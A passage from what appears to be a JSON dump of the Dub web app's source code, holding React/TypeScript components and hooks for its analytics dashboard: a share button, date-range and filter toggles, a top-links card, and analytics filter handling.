d[dataKey] || 0,\n                    };\n                  })\n                  ?.sort((a, b) => b.value - a.value)}\n                unit={selectedTab}\n                maxValue={Math.max(...data.map((d) => d[dataKey] ?? 0)) ?? 0}\n                barBackground=\"bg-red-100\"\n                hoverBackground=\"hover:bg-gradient-to-r hover:from-red-50 hover:to-transparent hover:border-red-500\"\n                filterSelectedBackground=\"bg-red-600\"\n                filterSelectedHoverBackground=\"hover:bg-red-700\"\n                filterHoverClass=\"bg-white border border-red-200\"\n                setShowModal={setShowModal}\n                selectedFilterValues={selectedItems}\n                activeFilterValues={activeFilterValues}\n                onToggleFilter={onToggleFilter}\n                onClearFilter={onClearFilter}\n                onClearSelection={() => setSelectedItems([])}\n                onApplyFilterValues={onApplyFilterValues}\n                {...(limit && { limit })}\n              />\n            ) : (\n              <div className=\"flex h-[300px] items-center justify-center\">\n                <p className=\"text-sm text-neutral-600\">No data available</p>\n              </div>\n            )\n          ) : (\n            <div className=\"absolute inset-0 flex h-[300px] w-full items-center justify-center bg-white/50\">\n              <AnalyticsLoadingSpinner />\n            </div>\n          )}\n        </>\n      )}\n    </AnalyticsCard>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/analytics/share-button.tsx",
    "content": "import { useCheckFolderPermission } from \"@/lib/swr/use-folder-permissions\";\nimport { Button, ReferredVia, useMediaQuery } from \"@dub/ui\";\nimport { memo, useContext } from \"react\";\nimport { useShareDashboardModal } from \"../modals/share-dashboard-modal\";\nimport { AnalyticsContext } from \"./analytics-provider\";\n\nexport function ShareButton() {\n  const { domain, key, folderId, partnerPage } = useContext(AnalyticsContext);\n\n  const canUpdateFolder = useCheckFolderPermission(\n    folderId ?? null,\n    \"folders.write\",\n  );\n\n  if (partnerPage) return null;\n\n  return domain && key ? (\n    <ShareButtonInner domain={domain} _key={key} />\n  ) : folderId && canUpdateFolder ? (\n    <ShareButtonInner folderId={folderId} />\n  ) : null;\n}\n\nconst ShareButtonInner = memo(\n  ({\n    domain,\n    _key,\n    folderId,\n  }:\n    | { domain: string; _key: string; folderId?: never }\n    | { folderId: string; domain?: never; _key?: never }) => {\n    const { isMobile } = useMediaQuery();\n    const { ShareDashboardModal, setShowShareDashboardModal } =\n      useShareDashboardModal(\n        domain && _key ? { domain, _key } : { folderId: folderId! },\n      );\n\n    return (\n      <>\n        <ShareDashboardModal />\n        <Button\n          variant=\"secondary\"\n          onClick={() => setShowShareDashboardModal(true)}\n          icon={<ReferredVia className=\"size-4\" />}\n          text={isMobile ? undefined : \"Share\"}\n          className=\"animate-fade-in w-fit\"\n        />\n      </>\n    );\n  },\n);\n"
  },
  {
    "path": "apps/web/ui/analytics/toggle.tsx",
    "content": "import {\n  DUB_LINKS_ANALYTICS_INTERVAL,\n  INTERVAL_DISPLAYS,\n} from \"@/lib/analytics/constants\";\nimport { validDateRangeForPlan } from \"@/lib/analytics/utils\";\nimport { getStartEndDates } from \"@/lib/analytics/utils/get-start-end-dates\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport {\n  BlurImage,\n  Button,\n  ChartLine,\n  DateRangePicker,\n  Filter,\n  SquareLayoutGrid6,\n  TooltipContent,\n  useMediaQuery,\n  useRouterStuff,\n  useScroll,\n} from \"@dub/ui\";\nimport {\n  APP_DOMAIN,\n  cn,\n  DUB_DEMO_LINKS,\n  DUB_LOGO,\n  getApexDomain,\n  getNextPlan,\n  GOOGLE_FAVICON_URL,\n  linkConstructor,\n} from \"@dub/utils\";\nimport Link from \"next/link\";\nimport { useParams } from \"next/navigation\";\nimport { useContext } from \"react\";\nimport { FolderIcon } from \"../folders/folder-icon\";\nimport { AnalyticsOptions } from \"./analytics-options\";\nimport { AnalyticsContext } from \"./analytics-provider\";\nimport { ShareButton } from \"./share-button\";\nimport { useAnalyticsFilters } from \"./use-analytics-filters\";\n\nexport function AnalyticsToggle({\n  page = \"analytics\",\n}: {\n  page?: \"analytics\" | \"events\";\n}) {\n  const { slug, programSlug } = useParams();\n  const { plan, createdAt } = useWorkspace();\n\n  const { queryParams, getQueryString } = useRouterStuff();\n\n  const {\n    domain,\n    key,\n    url,\n    adminPage,\n    partnerPage,\n    dashboardProps,\n    start,\n    end,\n    interval,\n  } = useContext(AnalyticsContext);\n\n  const scrolled = useScroll(120);\n\n  const { isMobile } = useMediaQuery();\n\n  const {\n    filters,\n    activeFilters,\n    onSelect,\n    onRemove,\n    onRemoveFilter,\n    onRemoveAll,\n    onOpenFilter,\n    onToggleOperator,\n    streaming,\n    activeFiltersWithStreaming,\n  } = useAnalyticsFilters({ partnerPage, dashboardProps });\n\n  const filterSelect = (\n    <Filter.Select\n      className=\"w-full md:w-fit\"\n      filters={filters}\n      activeFilters={activeFilters}\n      onSelect={onSelect}\n      onRemove={onRemove}\n      onOpenFilter={onOpenFilter}\n      isAdvancedFilter\n      askAI\n    />\n  );\n\n  const dateRangePicker = (\n    <DateRangePicker\n      className=\"w-full md:w-fit\"\n      align={dashboardProps ? \"end\" : \"center\"}\n      value={\n        start && end\n          ? {\n              from: start,\n              to: end,\n            }\n          : undefined\n      }\n      presetId={\n        start && end ? undefined : interval ?? DUB_LINKS_ANALYTICS_INTERVAL\n      }\n      onChange={(range, preset) => {\n        if (preset) {\n          queryParams({\n            del: [\"start\", \"end\"],\n            set: {\n              interval: preset.id,\n            },\n            scroll: false,\n          });\n\n          return;\n        }\n\n        // Regular range\n        if (!range || !range.from || !range.to) return;\n\n        queryParams({\n          del: \"interval\",\n          set: {\n            start: range.from.toISOString(),\n            end: range.to.toISOString(),\n          },\n          scroll: false,\n        });\n      }}\n      presets={INTERVAL_DISPLAYS.map(({ display, value, shortcut }) => {\n        const requiresUpgrade =\n          partnerPage ||\n          DUB_DEMO_LINKS.find((l) => l.domain === domain && l.key === key)\n            ? false\n            : !validDateRangeForPlan({\n                plan: plan || dashboardProps?.workspacePlan,\n                dataAvailableFrom: createdAt,\n                interval: value,\n                start,\n                end,\n              }).valid;\n\n        const { startDate, endDate } = getStartEndDates({\n          interval: value,\n          dataAvailableFrom: createdAt,\n        });\n\n        return {\n          id: value,\n          label: display,\n          dateRange: {\n            from: startDate,\n            to: endDate,\n          },\n          requiresUpgrade,\n          tooltipContent: requiresUpgrade ? (\n            <UpgradeTooltip rangeLabel={display} plan={plan} />\n          ) : undefined,\n          shortcut,\n        };\n      })}\n    />\n  );\n\n  // TODO: [PageContent] Remove once all pages are migrated to the new PageContent\n  const isAppPage = !dashboardProps && !adminPage;\n\n  return (\n    <>\n      <div\n        className={cn(\"py-3 md:py-3\", isAppPage && \"pt-0 md:pt-0\", {\n          \"sticky top-14 z-10 bg-neutral-50\": dashboardProps,\n          \"sticky top-16 z-10 bg-neutral-50\": adminPage,\n          \"shadow-md\": scrolled && dashboardProps,\n        })}\n      >\n        <div\n          className={cn(\n            \"mx-auto flex w-full max-w-screen-xl flex-col gap-2 px-3 lg:px-10\",\n            isAppPage && \"lg:px-6\",\n            {\n              \"md:h-10\": key,\n            },\n          )}\n        >\n          <div\n            className={cn(\n              \"flex w-full flex-col items-center justify-between gap-2 md:flex-row\",\n              {\n                \"flex-col md:flex-row\": !key,\n                \"items-center\": key,\n              },\n            )}\n          >\n            {dashboardProps &&\n              (dashboardProps.folderId ? (\n                <div className=\"flex items-center gap-2 text-lg font-semibold text-neutral-800\">\n                  <FolderIcon shape=\"square\" iconClassName=\"size-3\" />\n                  <p className=\"max-w-[192px] truncate sm:max-w-[400px]\">\n                    {dashboardProps.folderName}\n                  </p>\n                </div>\n              ) : (\n                <div className=\"flex items-center text-lg font-semibold text-neutral-800\">\n                  <BlurImage\n                    alt={url || \"Dub\"}\n                    src={\n                      url\n                        ? `${GOOGLE_FAVICON_URL}${getApexDomain(url)}`\n                        : DUB_LOGO\n                    }\n                    className=\"mr-2 h-6 w-6 flex-shrink-0 overflow-hidden rounded-full\"\n                    width={48}\n                    height={48}\n                  />\n                  <p className=\"max-w-[192px] truncate sm:max-w-[400px]\">\n                    {linkConstructor({\n                      domain,\n                      key,\n                      pretty: true,\n                    })}\n                  </p>\n                </div>\n              ))}\n            <div\n              className={cn(\n                \"flex w-full flex-col-reverse items-center gap-2 min-[550px]:flex-row\",\n                dashboardProps && \"md:w-auto\",\n              )}\n            >\n              {isMobile ? dateRangePicker : filterSelect}\n              <div\n                className={cn(\"flex w-full grow items-center gap-2 md:w-auto\", {\n                  \"grow-0\": dashboardProps,\n                })}\n              >\n                {isMobile ? filterSelect : dateRangePicker}\n                {!dashboardProps && (\n                  <div className=\"flex grow justify-end gap-2\">\n                    {page === \"analytics\" && (\n                      <>\n                        <ShareButton />\n                        <Link\n                          href={`/${partnerPage ? `programs/${programSlug}/` : adminPage ? \"\" : `${slug}/`}events${getQueryString()}`}\n                        >\n                          <Button\n                            variant=\"secondary\"\n                            className=\"w-fit\"\n                            icon={\n                              <SquareLayoutGrid6 className=\"h-4 w-4 text-neutral-600\" />\n                            }\n                            text={isMobile ? undefined : \"View Events\"}\n                          />\n                        </Link>\n                      </>\n                    )}\n                    {page === \"events\" && (\n                      <>\n                        <Link\n                          href={`/${partnerPage ? `programs/${programSlug}/` : adminPage ? \"\" : `${slug}/`}analytics${getQueryString()}`}\n                        >\n                          <Button\n                            variant=\"secondary\"\n                            className=\"w-fit\"\n                            icon={\n                              <ChartLine className=\"h-4 w-4 text-neutral-600\" />\n                            }\n                            text={isMobile ? undefined : \"View Analytics\"}\n                          />\n                        </Link>\n                      </>\n                    )}\n                    <AnalyticsOptions page={page} />\n                  </div>\n                )}\n              </div>\n            </div>\n          </div>\n        </div>\n      </div>\n\n      <div\n        className={cn(\n          \"mx-auto w-full max-w-screen-xl px-3 lg:px-10\",\n          isAppPage && \"lg:px-6\",\n        )}\n      >\n        <Filter.List\n          filters={filters}\n          activeFilters={activeFiltersWithStreaming}\n          onSelect={onSelect}\n          onRemove={onRemove}\n          onRemoveFilter={onRemoveFilter}\n          onRemoveAll={onRemoveAll}\n          onToggleOperator={onToggleOperator}\n          isAdvancedFilter\n        />\n        <div\n          className={cn(\n            \"transition-[height] duration-[300ms]\",\n            streaming || activeFilters.length ? \"h-3\" : \"h-0\",\n          )}\n        />\n      </div>\n    </>\n  );\n}\n\nfunction UpgradeTooltip({\n  rangeLabel,\n  plan,\n}: {\n  rangeLabel: string;\n  plan?: string;\n}) {\n  const { slug } = useWorkspace();\n\n  const isAllTime = rangeLabel === \"All Time\";\n\n  return (\n    <TooltipContent\n      title={`${rangeLabel} can only be viewed on a ${isAllTime ? \"Business\" : getNextPlan(plan).name} plan or higher. Upgrade now to view more stats.`}\n      cta={`Upgrade to ${isAllTime ? \"Business\" : getNextPlan(plan).name}`}\n      href={slug ? `/${slug}/upgrade` : APP_DOMAIN}\n    />\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/analytics/top-links.tsx",
    "content": "import { AnalyticsGroupByOptions } from \"@/lib/analytics/types\";\nimport { useWorkspacePreferences } from \"@/lib/swr/use-workspace-preferences\";\nimport { LinkLogo, useRouterStuff } from \"@dub/ui\";\nimport { Globe, Hyperlink } from \"@dub/ui/icons\";\nimport { getApexDomain } from \"@dub/utils\";\nimport { useCallback, useContext, useEffect, useMemo, useState } from \"react\";\nimport { FolderIcon } from \"../folders/folder-icon\";\nimport TagBadge from \"../links/tag-badge\";\nimport { AnalyticsCard } from \"./analytics-card\";\nimport { AnalyticsLoadingSpinner } from \"./analytics-loading-spinner\";\nimport { AnalyticsContext } from \"./analytics-provider\";\nimport { BarList } from \"./bar-list\";\nimport { useAnalyticsFilterOption } from \"./utils\";\n\ntype TabId = \"links\" | \"urls\";\ntype LinksSubtab = \"links\" | \"folders\" | \"tags\";\ntype UrlsSubtab = \"base_urls\" | \"full_urls\";\ntype Subtab = LinksSubtab | UrlsSubtab;\n\nconst TAB_CONFIG: Record<\n  TabId,\n  {\n    subtabs: Subtab[];\n    defaultSubtab: Subtab;\n    getSubtabLabel: (subtab: Subtab) => string;\n    getGroupBy: (subtab: Subtab) => {\n      groupBy: AnalyticsGroupByOptions;\n    };\n  }\n> = {\n  links: {\n    subtabs: [\"links\", \"folders\", \"tags\"],\n    defaultSubtab: \"links\",\n    getSubtabLabel: (subtab) => {\n      if (subtab === \"links\") return \"Links\";\n      if (subtab === \"folders\") return \"Folders\";\n      return \"Tags\";\n    },\n    getGroupBy: (subtab) => {\n      if (subtab === \"links\") return { groupBy: \"top_links\" };\n      if (subtab === \"folders\") return { groupBy: \"top_folders\" };\n      return { groupBy: \"top_link_tags\" };\n    },\n  },\n  urls: {\n    subtabs: [\"base_urls\", \"full_urls\"],\n    defaultSubtab: \"base_urls\",\n    getSubtabLabel: (subtab) =>\n      subtab === \"full_urls\" ? \"Full URLs\" : \"Base URLs\",\n    getGroupBy: (subtab) => ({\n      groupBy: subtab === \"full_urls\" ? \"top_urls\" : \"top_base_urls\",\n    }),\n  },\n};\n\nexport function TopLinks() {\n  const { queryParams, searchParams } = useRouterStuff();\n\n  const { selectedTab, saleUnit, adminPage, partnerPage, dashboardProps } =\n    useContext(AnalyticsContext);\n  const dataKey = selectedTab === \"sales\" ? saleUnit : \"count\";\n\n  const [tab, setTab] = useState<TabId>(\"links\");\n  const [subtab, setSubtab] = useState<Subtab>(TAB_CONFIG[tab].defaultSubtab);\n\n  const [selectedItems, setSelectedItems] = useState<string[]>([]);\n\n  // Reset subtab when tab changes to ensure it's valid for the new tab\n  const handleTabChange = (newTab: TabId) => {\n    setTab(newTab);\n    setSubtab(TAB_CONFIG[newTab].defaultSubtab);\n  };\n\n  useEffect(() => {\n    setSelectedItems([]);\n  }, [tab, subtab]);\n\n  const filterParamKey = useMemo(() => {\n    if (subtab === \"links\") return \"linkId\";\n    if (subtab === \"base_urls\") return \"url\";\n    if (subtab === \"folders\") return \"folderId\";\n    if (subtab === \"tags\") return \"tagId\";\n    return null;\n  }, [subtab]);\n\n  const onToggleFilter = useCallback((val: string) => {\n    setSelectedItems((prev) =>\n      prev.includes(val) ? prev.filter((v) => v !== val) : [...prev, val],\n    );\n  }, []);\n\n  const onApplyFilterValues = useCallback(\n    (values: string[]) => {\n      if (!filterParamKey) return;\n\n      if (values.length === 0) {\n        queryParams({ del: filterParamKey });\n      } else {\n        queryParams({ set: { [filterParamKey]: values.join(\",\") } });\n      }\n\n      setSelectedItems([]);\n    },\n    [filterParamKey, queryParams],\n  );\n\n  const isFilterActive = useMemo(\n    () => (filterParamKey ? searchParams.has(filterParamKey) : false),\n    [filterParamKey, searchParams],\n  );\n\n  const activeFilterValues = useMemo(\n    () =>\n      filterParamKey ? searchParams.get(filterParamKey)?.split(\",\") ?? [] : [],\n    [filterParamKey, searchParams],\n  );\n\n  const onClearFilter = useCallback(() => {\n    setSelectedItems([]);\n    if (isFilterActive && filterParamKey) queryParams({ del: filterParamKey });\n  }, [filterParamKey, queryParams, isFilterActive]);\n\n  const groupByParams = useMemo(\n    () => TAB_CONFIG[tab].getGroupBy(subtab),\n    [tab, subtab],\n  );\n\n  const { data } = useAnalyticsFilterOption(groupByParams);\n  const { data: allData } = useAnalyticsFilterOption(groupByParams, {\n    omitGroupByFilterKey: true,\n  });\n\n  const [persisted] = useWorkspacePreferences(\"linksDisplay\");\n\n  const getItemTitle = useCallback(\n    (d: Record<string, any>) => {\n      if (tab === \"urls\") {\n        return d.url || \"Unknown\";\n      }\n\n      // For links tab with different subtabs\n      if (subtab === \"folders\") {\n        return d.folder?.name || \"Unknown\";\n      }\n      if (subtab === \"tags\") {\n        return d.tag?.name || \"Unknown\";\n      }\n\n      // For links subtab\n      const displayProperties = persisted?.displayProperties;\n\n      if (displayProperties?.includes(\"title\") && d.title) {\n        return d.title;\n      }\n\n      return d.shortLink || \"Unknown\";\n    },\n    [persisted, tab, subtab],\n  );\n\n  const mapItem = useCallback(\n    (d: Record<string, any>) => {\n      const isLinksTab = tab === \"links\";\n      const isUrlsTab = tab === \"urls\";\n      const isFoldersSubtab = isLinksTab && subtab === \"folders\";\n      const isTagsSubtab = isLinksTab && subtab === \"tags\";\n      const isLinksSubtab = isLinksTab && subtab === \"links\";\n\n      let icon;\n      if (isFoldersSubtab) {\n        icon = d.folder ? (\n          <FolderIcon folder={d.folder} shape=\"square\" iconClassName=\"size-3\" />\n        ) : null;\n      } else if (isTagsSubtab) {\n        icon = d.tag ? (\n          <TagBadge color={d.tag.color} withIcon className=\"sm:p-1\" />\n        ) : null;\n      } else {\n        icon = (\n          <LinkLogo\n            apexDomain={getApexDomain(d.url || \"\")}\n            className=\"size-5 sm:size-5\"\n          />\n        );\n      }\n\n      let filterValue: string | undefined;\n      if (isLinksSubtab) filterValue = d.id;\n      else if (isUrlsTab && subtab === \"base_urls\") filterValue = d.url;\n      else if (isFoldersSubtab) filterValue = d.folderId;\n      else if (isTagsSubtab) filterValue = d.tagId;\n\n      return {\n        icon,\n        title: getItemTitle(d),\n        filterValue,\n        value: d[dataKey] || 0,\n        ...(isLinksSubtab && { linkData: d }),\n      };\n    },\n    [tab, subtab, dataKey, getItemTitle],\n  );\n\n  const subTabProps = useMemo(() => {\n    if (adminPage || partnerPage || dashboardProps) return {};\n    const config = TAB_CONFIG[tab];\n    return {\n      subTabs: config.subtabs.map((s) => ({\n        id: s,\n        label: config.getSubtabLabel(s),\n      })),\n      selectedSubTabId: subtab,\n      onSelectSubTab: setSubtab,\n    };\n  }, [tab, subtab, adminPage, partnerPage]);\n\n  return (\n    <AnalyticsCard\n      tabs={[\n        { id: \"links\", label: \"Short Links\", icon: Hyperlink },\n        { id: \"urls\", label: \"Destination URLs\", icon: Globe },\n      ]}\n      expandLimit={8}\n      dataLength={data?.length}\n      isFilterActive={isFilterActive}\n      onClearFilter={onClearFilter}\n      selectedTabId={tab}\n      onSelectTab={handleTabChange}\n      {...subTabProps}\n    >\n      {({ limit, setShowModal }) =>\n        data ? (\n          data.length > 0 ? (\n            <BarList\n              tab={tab}\n              data={data?.map(mapItem).sort((a, b) => b.value - a.value) || []}\n              allData={allData?.map(mapItem).sort((a, b) => b.value - a.value)}\n              unit={selectedTab}\n              maxValue={Math.max(...data.map((d) => d[dataKey] ?? 0))}\n              barBackground=\"bg-orange-100\"\n              hoverBackground=\"hover:bg-gradient-to-r hover:from-orange-50 hover:to-transparent hover:border-orange-500\"\n              filterSelectedBackground=\"bg-orange-500\"\n              filterSelectedHoverBackground=\"hover:bg-orange-600\"\n              filterHoverClass=\"bg-white border border-orange-200\"\n              setShowModal={setShowModal}\n              selectedFilterValues={selectedItems}\n              activeFilterValues={activeFilterValues}\n              onToggleFilter={onToggleFilter}\n              onClearFilter={filterParamKey ? onClearFilter : undefined}\n              onClearSelection={() => setSelectedItems([])}\n              onApplyFilterValues={\n                filterParamKey ? onApplyFilterValues : undefined\n              }\n              {...(limit && { limit })}\n            />\n          ) : (\n            <div className=\"flex h-[300px] items-center justify-center\">\n              <p className=\"text-sm text-neutral-600\">No data available</p>\n            </div>\n          )\n        ) : (\n          <div className=\"absolute inset-0 flex h-[300px] w-full items-center justify-center bg-white/50\">\n            <AnalyticsLoadingSpinner />\n          </div>\n        )\n      }\n    </AnalyticsCard>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/analytics/trigger-display.tsx",
    "content": "import { CursorRays, MarketingTarget, Page2, QRCode } from \"@dub/ui\";\n\nexport const TRIGGER_DISPLAY = {\n  qr: {\n    title: \"QR scan\",\n    icon: QRCode,\n  },\n  link: {\n    title: \"Link click\",\n    icon: CursorRays,\n  },\n  pageview: {\n    title: \"Page View\",\n    icon: Page2,\n  },\n  deeplink: {\n    title: \"Deep Link\",\n    icon: MarketingTarget,\n  },\n};\n"
  },
  {
    "path": "apps/web/ui/analytics/use-analytics-connected-status.ts",
    "content": "import { useWorkspaceStore } from \"@/lib/swr/use-workspace-store\";\n\nexport function useAnalyticsConnectedStatus() {\n  const [connectionSetupComplete] = useWorkspaceStore<boolean>(\n    \"analyticsSettingsConnectionSetupComplete\",\n  );\n  const [leadTrackingSetupComplete] = useWorkspaceStore<boolean>(\n    \"analyticsSettingsLeadTrackingSetupComplete\",\n  );\n  const [saleTrackingSetupComplete] = useWorkspaceStore<boolean>(\n    \"analyticsSettingsSaleTrackingSetupComplete\",\n  );\n\n  const all = [\n    connectionSetupComplete,\n    leadTrackingSetupComplete,\n    saleTrackingSetupComplete,\n  ];\n\n  return {\n    isConnected: all.some(Boolean),\n    isFullyConnected: all.every(Boolean),\n  };\n}\n"
  },
  {
    "path": "apps/web/ui/analytics/use-analytics-filters.tsx",
    "content": "import { generateFilters } from \"@/lib/ai/generate-filters\";\nimport { VALID_ANALYTICS_FILTERS } from \"@/lib/analytics/constants\";\nimport useCustomer from \"@/lib/swr/use-customer\";\nimport usePartner from \"@/lib/swr/use-partner\";\nimport usePartnerCustomer from \"@/lib/swr/use-partner-customer\";\nimport { CustomerAvatar } from \"@/ui/customers/customer-avatar\";\nimport { PartnerAvatar } from \"@/ui/partners/partner-avatar\";\nimport { readStreamableValue } from \"@ai-sdk/rsc\";\nimport {\n  BlurImage,\n  Filter,\n  LinkLogo,\n  Sliders,\n  useRouterStuff,\n  UTM_PARAMETERS,\n} from \"@dub/ui\";\nimport {\n  Calendar6,\n  Cube,\n  CursorRays,\n  FlagWavy,\n  Folder,\n  Globe2,\n  Hyperlink,\n  LinkBroken,\n  LocationPin,\n  Magic,\n  MapPosition,\n  MobilePhone,\n  OfficeBuilding,\n  QRCode,\n  Receipt2,\n  ReferredVia,\n  Tag,\n  User,\n  UserPlus,\n  Users,\n  Users6,\n  Window,\n} from \"@dub/ui/icons\";\nimport {\n  capitalize,\n  CONTINENTS,\n  COUNTRIES,\n  currencyFormatter,\n  getApexDomain,\n  GOOGLE_FAVICON_URL,\n  linkConstructor,\n  nFormatter,\n  parseFilterValue,\n  REGIONS,\n  type FilterOperator,\n  type ParsedFilter,\n} from \"@dub/utils\";\nimport { useParams } from \"next/navigation\";\nimport {\n  ComponentProps,\n  ContextType,\n  useCallback,\n  useContext,\n  useMemo,\n  useState,\n} from \"react\";\nimport { FolderIcon } from \"../folders/folder-icon\";\nimport { LinkIcon } from \"../links/link-icon\";\nimport TagBadge from \"../links/tag-badge\";\nimport { GroupColorCircle } from \"../partners/groups/group-color-circle\";\nimport {\n  AnalyticsContext,\n  AnalyticsDashboardProps,\n} from \"./analytics-provider\";\nimport { ContinentIcon } from \"./continent-icon\";\nimport { DeviceIcon } from \"./device-icon\";\nimport { ReferrerIcon } from \"./referrer-icon\";\nimport { TRIGGER_DISPLAY } from \"./trigger-display\";\nimport { useAnalyticsFilterOption } from \"./utils\";\n\nexport function useAnalyticsFilters({\n  partnerPage,\n  dashboardProps,\n  context,\n  programPage = false,\n}: {\n  partnerPage?: boolean;\n  dashboardProps?: AnalyticsDashboardProps;\n  context?: Pick<\n    ContextType<typeof AnalyticsContext>,\n    | \"baseApiPath\"\n    | \"queryString\"\n    | \"selectedTab\"\n    | \"saleUnit\"\n    | \"requiresUpgrade\"\n  >;\n  programPage?: boolean;\n} = {}) {\n  const { selectedTab, saleUnit } = context ?? useContext(AnalyticsContext);\n\n  const { slug } = useParams();\n\n  const { queryParams, searchParamsObj } = useRouterStuff();\n\n  const selectedCustomerId = searchParamsObj.customerId;\n\n  const { data: selectedCustomerWorkspace } = useCustomer({\n    customerId: selectedCustomerId,\n  });\n  const { data: selectedCustomerPartner } = usePartnerCustomer({\n    customerId: selectedCustomerId,\n  });\n\n  const selectedCustomer = selectedCustomerPartner || selectedCustomerWorkspace;\n\n  const selectedPartnerId = searchParamsObj.partnerId;\n  const { partner: selectedPartner } = usePartner({\n    partnerId: selectedPartnerId,\n  });\n\n  const [requestedFilters, setRequestedFilters] = useState<string[]>([]);\n\n  const parseFilterParam = useCallback(\n    (value: string): ParsedFilter | undefined => {\n      return parseFilterValue(value);\n    },\n    [],\n  );\n\n  const activeFilters = useMemo(() => {\n    const { domain, key, root, ...params } = searchParamsObj;\n\n    // Handle special cases first\n    const filters: Array<{\n      key: string;\n      operator: FilterOperator;\n      values: any[];\n    }> = [\n      // Legacy: show one link chip when domain+key are present (no linkId)\n      ...(domain && key && !params.linkId\n        ? [\n            {\n              key: \"linkId\",\n              operator: \"IS\" as FilterOperator,\n              values: [linkConstructor({ domain, key, pretty: true })],\n            },\n          ]\n        : []),\n      // Handle customerId special case\n      ...(selectedCustomer\n        ? [\n            {\n              key: \"customerId\",\n              operator: \"IS\" as FilterOperator,\n              values: [\n                selectedCustomer.email ||\n                  selectedCustomer[\"name\"] ||\n                  selectedCustomer[\"externalId\"],\n              ],\n            },\n          ]\n        : []),\n    ];\n\n    // Handle all filters dynamically (including domain, tagId, folderId, root)\n    VALID_ANALYTICS_FILTERS.forEach((filter) => {\n      // Skip special cases we handled above\n      if ([\"key\", \"customerId\"].includes(filter)) return;\n      // Also skip date range filters and qr\n      if ([\"interval\", \"start\", \"end\", \"qr\"].includes(filter)) return;\n      // Skip domain if we're showing a specific link (domain + key) without linkId\n      if (filter === \"domain\" && domain && key && !params.linkId) return;\n\n      const value =\n        params[filter] ||\n        (filter === \"domain\" ? domain : filter === \"root\" ? root : undefined);\n\n      if (value) {\n        const parsed = parseFilterParam(value);\n        if (parsed) {\n          filters.push({\n            key: filter,\n            operator: parsed.operator,\n            values: parsed.values,\n          });\n        }\n      }\n    });\n\n    return filters;\n  }, [\n    searchParamsObj,\n    partnerPage,\n    selectedCustomerId,\n    selectedCustomer,\n    parseFilterParam,\n  ]);\n\n  const isRequested = useCallback(\n    (key: string) =>\n      requestedFilters.includes(key) ||\n      activeFilters.some((af) => af.key === key),\n    [requestedFilters, activeFilters],\n  );\n\n  const { data: links } = useAnalyticsFilterOption(\"top_links\", {\n    disabled: !isRequested(\"linkId\"),\n    omitGroupByFilterKey: true,\n    context,\n  });\n  const { data: folders } = useAnalyticsFilterOption(\"top_folders\", {\n    disabled: !isRequested(\"folderId\"),\n    omitGroupByFilterKey: true,\n    context,\n  });\n  const { data: linkTags } = useAnalyticsFilterOption(\"top_link_tags\", {\n    disabled: !isRequested(\"tagId\"),\n    omitGroupByFilterKey: true,\n    context,\n  });\n  const { data: domains } = useAnalyticsFilterOption(\"top_domains\", {\n    disabled: !isRequested(\"domain\"),\n    omitGroupByFilterKey: true,\n    context,\n  });\n  const { data: partners } = useAnalyticsFilterOption(\"top_partners\", {\n    disabled: !isRequested(\"partnerId\"),\n    omitGroupByFilterKey: true,\n    context,\n  });\n  const { data: groups } = useAnalyticsFilterOption(\"top_groups\", {\n    disabled: !isRequested(\"groupId\"),\n    omitGroupByFilterKey: true,\n    context,\n  });\n  const { data: countries } = useAnalyticsFilterOption(\"countries\", {\n    disabled: !isRequested(\"country\"),\n    omitGroupByFilterKey: true,\n    context,\n  });\n  const { data: regions } = useAnalyticsFilterOption(\"regions\", {\n    disabled: !isRequested(\"region\"),\n    omitGroupByFilterKey: true,\n    context,\n  });\n  const { data: cities } = useAnalyticsFilterOption(\"cities\", {\n    disabled: !isRequested(\"city\"),\n    omitGroupByFilterKey: true,\n    context,\n  });\n  const { data: continents } = useAnalyticsFilterOption(\"continents\", {\n    disabled: !isRequested(\"continent\"),\n    omitGroupByFilterKey: true,\n    context,\n  });\n  const { data: devices } = useAnalyticsFilterOption(\"devices\", {\n    disabled: !isRequested(\"device\"),\n    omitGroupByFilterKey: true,\n    context,\n  });\n  const { data: browsers } = useAnalyticsFilterOption(\"browsers\", {\n    disabled: !isRequested(\"browser\"),\n    omitGroupByFilterKey: true,\n    context,\n  });\n  const { data: os } = useAnalyticsFilterOption(\"os\", {\n    disabled: !isRequested(\"os\"),\n    omitGroupByFilterKey: true,\n    context,\n  });\n  const { data: triggers } = useAnalyticsFilterOption(\"triggers\", {\n    disabled: !isRequested(\"trigger\"),\n    omitGroupByFilterKey: true,\n    context,\n  });\n  const { data: referers } = useAnalyticsFilterOption(\"referers\", {\n    disabled: !isRequested(\"referer\"),\n    omitGroupByFilterKey: true,\n    context,\n  });\n  const { data: refererUrls } = useAnalyticsFilterOption(\"referer_urls\", {\n    disabled: !isRequested(\"refererUrl\"),\n    omitGroupByFilterKey: true,\n    context,\n  });\n  const { data: baseUrls } = useAnalyticsFilterOption(\"top_base_urls\", {\n    disabled: !isRequested(\"url\"),\n    omitGroupByFilterKey: true,\n    context,\n  });\n  const { data: utmSources } = useAnalyticsFilterOption(\"utm_sources\", {\n    disabled: !isRequested(\"utm_source\"),\n    omitGroupByFilterKey: true,\n    context,\n  });\n  const { data: utmMediums } = useAnalyticsFilterOption(\"utm_mediums\", {\n    disabled: !isRequested(\"utm_medium\"),\n    omitGroupByFilterKey: true,\n    context,\n  });\n  const { data: utmCampaigns } = useAnalyticsFilterOption(\"utm_campaigns\", {\n    disabled: !isRequested(\"utm_campaign\"),\n    omitGroupByFilterKey: true,\n    context,\n  });\n  const { data: utmTerms } = useAnalyticsFilterOption(\"utm_terms\", {\n    disabled: !isRequested(\"utm_term\"),\n    omitGroupByFilterKey: true,\n    context,\n  });\n  const { data: utmContents } = useAnalyticsFilterOption(\"utm_contents\", {\n    disabled: !isRequested(\"utm_content\"),\n    omitGroupByFilterKey: true,\n    context,\n  });\n\n  const utmData = {\n    utm_source: utmSources,\n    utm_medium: utmMediums,\n    utm_campaign: utmCampaigns,\n    utm_term: utmTerms,\n    utm_content: utmContents,\n  };\n\n  const getFilterOptionTotal = useCallback(\n    ({ count, saleAmount }: { count?: number; saleAmount?: number }) => {\n      return selectedTab === \"sales\" && saleUnit === \"saleAmount\" && saleAmount\n        ? currencyFormatter(saleAmount)\n        : nFormatter(count, { full: true });\n    },\n    [selectedTab, saleUnit],\n  );\n\n  // Some suggestions will only appear if previously requested (see isRequested above)\n  const aiFilterSuggestions = useMemo(\n    () => [\n      {\n        value: \"Mobile users, US only\",\n    